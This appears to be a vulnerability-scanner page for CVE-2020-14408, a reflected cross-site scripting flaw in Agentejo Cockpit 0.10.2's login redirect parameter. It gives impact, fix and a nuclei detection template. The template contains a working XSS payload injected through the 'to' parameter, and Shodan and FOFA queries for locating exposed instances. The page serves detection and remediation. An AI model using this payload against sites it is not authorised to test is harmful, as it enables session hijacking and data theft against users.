Agentejo Cockpit 0.10.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280
Positive when: contains "redirectTo = '/92874';alert(document.domain)//280';" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-14408 -u <target>

The full check

id: CVE-2020-14408

info:
  name: Agentejo Cockpit 0.10.2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/agentejo/cockpit/issues/1310
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14408
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-14408
    cwe-id: CWE-79
    epss-score: 0.03029
    epss-percentile: 0.87592
    cpe: cpe:2.3:a:agentejo:cockpit:0.10.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve2020,cve,cockpit,agentejo,xss,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "redirectTo = '/92874';alert(document.domain)//280';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from